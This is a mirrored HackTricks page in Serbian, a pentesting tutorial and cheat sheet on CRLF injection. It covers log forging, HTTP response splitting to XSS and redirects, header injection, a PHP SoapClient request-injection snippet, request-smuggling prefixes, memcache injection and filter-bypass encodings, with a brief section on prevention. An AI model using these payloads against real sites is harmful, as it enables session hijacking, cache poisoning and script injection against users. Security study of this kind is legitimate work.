Mirrors/hacktricks
2
0
Fork 0
mirror of https://github.com/carlospolop/hacktricks synced 2024-11-22 20:53:37 +00:00
Code Issues Projects Releases Packages Wiki Activity
hacktricks/pentesting-web/crlf-0d-0a.md

16 KiB
Raw Blame History

CRLF (%0D%0A) Injection

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u:

Savet za bug bounty: registrujte se za Intigriti, premium platformu za bug bounty kreiranu od hakera, za hakere! Pridružite nam se na https://go.intigriti.com/hacktricks danas, i počnite da zarađujete nagrade do $100,000!

{% embed url="https://go.intigriti.com/hacktricks" %}

CRLF

Carriage Return (CR) i Line Feed (LF), zajedno poznati kao CRLF, su posebni karakter sekvence korišćene u HTTP protokolu za označavanje kraja linije ili početka nove. Veb serveri i pretraživači koriste CRLF da razlikuju HTTP zaglavlja od tela odgovora. Ovi karakteri se univerzalno koriste u HTTP/1.1 komunikacijama na različitim tipovima veb servera, kao što su Apache i Microsoft IIS.

CRLF Injection Vulnerability

CRLF ubacivanje uključuje umetanje CR i LF karaktera u korisnički unos. Ova akcija dovodi server, aplikaciju ili korisnika u zabludu da tumače ubačenu sekvencu kao kraj jednog odgovora i početak drugog. Iako ovi karakteri nisu inherentno štetni, njihova zloupotreba može dovesti do razdvajanja HTTP odgovora i drugih zlonamernih aktivnosti.

Primer: CRLF Injection u log fajlu

Primer sa ovog linka

Razmotrite log fajl u admin panelu koji prati format: IP - Vreme - Poseta putanja. Tipičan unos bi mogao izgledati ovako:

123.123.123.123 - 08:15 - /index.php?page=home

Napadač može iskoristiti CRLF ubacivanje da manipuliše ovim zapisom. Ubacivanjem CRLF karaktera u HTTP zahtev, napadač može promeniti izlazni tok i fabrikovati log zapise. Na primer, ubačena sekvenca može transformisati log zapis u:

/index.php?page=home&%0d%0a127.0.0.1 - 08:15 - /index.php?page=home&restrictedaction=edit

Evo, %0d i %0a predstavljaju URL-kodirane oblike CR i LF. Nakon napada, zapisnik bi pogrešno prikazao:

IP - Time - Visited Path

123.123.123.123 - 08:15 - /index.php?page=home&
127.0.0.1 - 08:15 - /index.php?page=home&restrictedaction=edit

Napadač tako prikriva svoje zlonamerne aktivnosti tako što čini da izgleda kao da je lokalni računar (entitet obično poveren unutar serverskog okruženja) izvršio radnje. Server tumači deo upita koji počinje sa %0d%0a kao jedan parametar, dok se parametar restrictedaction parsira kao drugi, odvojeni unos. Manipulisani upit efikasno imitira legitimnu administratorsku komandu: /index.php?page=home&restrictedaction=edit

HTTP Response Splitting

Opis

HTTP Response Splitting je sigurnosna ranjivost koja nastaje kada napadač iskorišćava strukturu HTTP odgovora. Ova struktura razdvaja zaglavlja od tela koristeći specifičan niz karaktera, povratni taster (CR) praćen prelaskom u novi red (LF), zajedno nazvan kao CRLF. Ako napadač uspe da ubaci niz CRLF u zaglavlje odgovora, može efikasno manipulisati sadržajem narednog odgovora. Ovakva manipulacija može dovesti do ozbiljnih sigurnosnih problema, posebno Cross-site Scripting (XSS).

XSS putem HTTP Response Splitting

  1. Aplikacija postavlja prilagođeno zaglavlje na ovaj način: X-Custom-Header: UserInput
  2. Aplikacija preuzima vrednost za UserInput iz upita parametra, recimo "user_input". U scenarijima koji nedostaju pravilna validacija i enkodiranje unosa, napadač može kreirati payload koji uključuje niz CRLF, praćen zlonamernim sadržajem.
  3. Napadač kreira URL sa specijalno oblikovanim 'user_input': ?user_input=Value%0d%0a%0d%0a<script>alert('XSS')</script>
  • U ovom URL-u, %0d%0a%0d%0a je URL-enkodirana forma CRLFCRLF. To vara server da ubaci niz CRLF, čime server tretira naredni deo kao telo odgovora.
  1. Server reflektuje napadačev unos u zaglavlju odgovora, što dovodi do neželjene strukture odgovora gde zlonamerni skript bude tumačen od strane pregledača kao deo tela odgovora.

Primer HTTP Response Splitting koji dovodi do preusmeravanja

Sa https://medium.com/bugbountywriteup/bugbounty-exploiting-crlf-injection-can-lands-into-a-nice-bounty-159525a9cb62

Pregledač ka:

/%0d%0aLocation:%20http://myweb.com

I server odgovara zaglavljem:

Location: http://myweb.com

Drugi primer: (sa https://www.acunetix.com/websitesecurity/crlf-injection/)

http://www.example.com/somepage.php?page=%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2025%0d%0a%0d%0a%3Cscript%3Ealert(1)%3C/script%3E

U URL putanji

Možete poslati payload unutar URL putanje da biste kontrolisali odgovor sa servera (primer sa ovde):

http://stagecafrstore.starbucks.com/%3f%0d%0aLocation:%0d%0aContent-Type:text/html%0d%0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%3Ealert%28document.domain%29%3C/script%3E
http://stagecafrstore.starbucks.com/%3f%0D%0ALocation://x:1%0D%0AContent-Type:text/html%0D%0AX-XSS-Protection%3a0%0D%0A%0D%0A%3Cscript%3Ealert(document.domain)%3C/script%3E

Proverite više primera u:

{% embed url="https://github.com/EdOverflow/bugbounty-cheatsheet/blob/master/cheatsheets/crlf.md" %}

HTTP Ubacivanje Zaglavlja

HTTP ubacivanje zaglavlja, često iskorišćeno putem CRLF (Carriage Return and Line Feed) ubacivanja, omogućava napadačima da ubace HTTP zaglavlja. Ovo može narušiti mehanizme bezbednosti poput XSS (Cross-Site Scripting) filtera ili SOP (Same-Origin Policy), potencijalno dovodeći do neovlašćenog pristupa osetljivim podacima, poput CSRF tokena, ili manipulacije korisničkih sesija putem ubacivanja kolačića.

Iskorišćavanje CORS putem HTTP Ubacivanja Zaglavlja

Napadač može ubaciti HTTP zaglavlja kako bi omogućio CORS (Cross-Origin Resource Sharing), zaobilazeći ograničenja nametnuta od strane SOP. Ova ranjivost omogućava skriptovima sa zlonamernih izvora da interaguju sa resursima sa drugog izvora, potencijalno pristupajući zaštićenim podacima.

SSRF i Ubacivanje HTTP Zahteva putem CRLF

CRLF ubacivanje može se koristiti za kreiranje i ubacivanje potpuno novog HTTP zahteva. Značajan primer ove ranjivosti je u PHP-ovoj klasi SoapClient, posebno unutar parametra user_agent. Manipulacijom ovog parametra, napadač može ubaciti dodatna zaglavlja i sadržaj tela, ili čak ubaciti potpuno novi HTTP zahtev. U nastavku je PHP primer koji demonstrira ovu eksploataciju:

$target = 'http://127.0.0.1:9090/test';
$post_string = 'variable=post value';
$crlf = array(
'POST /proxy HTTP/1.1',
'Host: local.host.htb',
'Cookie: PHPSESSID=[PHPSESSID]',
'Content-Type: application/x-www-form-urlencoded',
'Content-Length: '.(string)strlen($post_string),
"\r\n",
$post_string
);

$client = new SoapClient(null,
array(
'uri'=>$target,
'location'=>$target,
'user_agent'=>"IGN\r\n\r\n".join("\r\n",$crlf)
)
);

# Put a netcat listener on port 9090
$client->__soapCall("test", []);

Umetanje zaglavlja za zahtevanje šverca

Za više informacija o ovoj tehnici i potencijalnim problemima proverite originalni izvor.

Možete ubaciti ključna zaglavlja kako biste osigurali da backend održava otvorenu vezu nakon odgovora na početni zahtev:

GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0a HTTP/1.1

Nakon toga, može se specificirati drugi zahtev. Ovaj scenario obično uključuje HTTP request smuggling, tehniku gde dodatni zaglavlja ili delovi tela dodati od strane servera nakon ubacivanja mogu dovesti do različitih sigurnosnih eksploatacija.

Eksploatacija:

  1. Zlonamerno ubacivanje prefiksa: Ova metoda uključuje trovanje zahteva sledećeg korisnika ili keša veb stranice specificiranjem zlonamernog prefiksa. Primer:

GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0aGET%20/redirplz%20HTTP/1.1%0d%0aHost:%20oastify.com%0d%0a%0d%0aContent-Length:%2050%0d%0a%0d%0a HTTP/1.1

  1. Izrada prefiksa za trovanje reda odgovora: Ovaj pristup uključuje kreiranje prefiksa koji, kada se kombinuje sa završnim smećem, formira potpuni drugi zahtev. Ovo može pokrenuti trovanje reda odgovora. Primer:

GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0aGET%20/%20HTTP/1.1%0d%0aFoo:%20bar HTTP/1.1

Memcache ubacivanje

Memcache je skladište ključ-vrednost koje koristi protokol u čistom tekstu. Više informacija na:

{% content-ref url="../network-services-pentesting/11211-memcache/" %} 11211-memcache {% endcontent-ref %}

Za potpune informacije pročitajte originalni članak

Ako platforma uzima podatke iz HTTP zahteva i koristi ih bez provere za izvršavanje zahteva ka memcache serveru, napadač može iskoristiti ovu aktivnost da ubaci nove memcache komande.

Na primer, u originalno otkrivenom propustu, ključevi keša su korišćeni da vrate IP adresu i port kojem bi korisnik trebalo da se poveže, i napadači su mogli ubaciti memcache komande koje bi trovale keš da pošalje detalje žrtava (uključujući korisnička imena i lozinke) napadačevim serverima:

https://assets-eu-01.kc-usercontent.com/d0f02280-9dfb-0116-f970-137d713003b6/ba72cd16-2ca0-447b-aa70-5cde302a0b88/body-578d9f9f-1977-4e34-841c-ad870492328f_10.png?w=1322&h=178&auto=format&fit=crop

Pored toga, istraživači su takođe otkrili da mogu da dezinkuju odgovore memcache-a da pošalju IP adrese i portove napadačima korisnicima čije imejl adrese napadač nije znao:

https://assets-eu-01.kc-usercontent.com/d0f02280-9dfb-0116-f970-137d713003b6/c6c1f3c4-d244-4bd9-93f7-2c88f139acfa/body-3f9ceeb9-3d6b-4867-a23f-e0e50a46a2e9_14.png?w=1322&h=506&auto=format&fit=crop

Kako sprečiti CRLF / HTTP ubacivanja zaglavlja u veb aplikacijama

Da biste umanjili rizike od CRLF (Carriage Return i Line Feed) ili HTTP ubacivanja zaglavlja u veb aplikacijama, preporučuju se sledeće strategije:

  1. Izbegavajte direktni korisnički unos u zaglavlja odgovora: Najsigurniji pristup je da se suzdržite od direktnog uključivanja korisničkih unosa direktno u zaglavlja odgovora.
  2. Kodiranje specijalnih karaktera: Ako izbegavanje direktnog korisničkog unosa nije izvodljivo, obezbedite korišćenje funkcije posvećene kodiranju specijalnih karaktera poput CR (Carriage Return) i LF (Line Feed). Ova praksa sprečava mogućnost CRLF ubacivanja.
  3. Ažurirajte programski jezik: Redovno ažurirajte programski jezik koji se koristi u vašim veb aplikacijama na najnoviju verziju. Odaberite verziju koja inherentno zabranjuje ubacivanje CR i LF karaktera unutar funkcija zaduženih za postavljanje HTTP zaglavlja.

ŠIFARNIK

Šifarnik odavde

1. HTTP Response Splitting
• /%0D%0ASet-Cookie:mycookie=myvalue (Check if the response is setting this cookie)

2. CRLF chained with Open Redirect
• //www.google.com/%2F%2E%2E%0D%0AHeader-Test:test2
• /www.google.com/%2E%2E%2F%0D%0AHeader-Test:test2
• /google.com/%2F..%0D%0AHeader-Test:test2
• /%0d%0aLocation:%20http://example.com

3. CRLF Injection to XSS
• /%0d%0aContent-Length:35%0d%0aX-XSS-Protection:0%0d%0a%0d%0a23
• /%3f%0d%0aLocation:%0d%0aContent-Type:text/html%0d%0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%3Ealert%28document.domain%29%3C/script%3E

4. Filter Bypass
• %E5%98%8A = %0A = \u560a
• %E5%98%8D = %0D = \u560d
• %E5%98%BE = %3E = \u563e (>)
• %E5%98%BC = %3C = \u563c (<)
• Payload = %E5%98%8A%E5%98%8DSet-Cookie:%20test

Automatski alati

Lista detekcije Brute-Force napada

Reference

Savet za bug bounty: Prijavite se na Intigriti, premium platformu za bug bounty kreiranu od hakera, za hakere! Pridružite nam se na https://go.intigriti.com/hacktricks danas, i počnite da zarađujete nagrade do $100,000!

{% embed url="https://go.intigriti.com/hacktricks" %}

Naučite hakovanje AWS-a od početnika do stručnjaka sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u: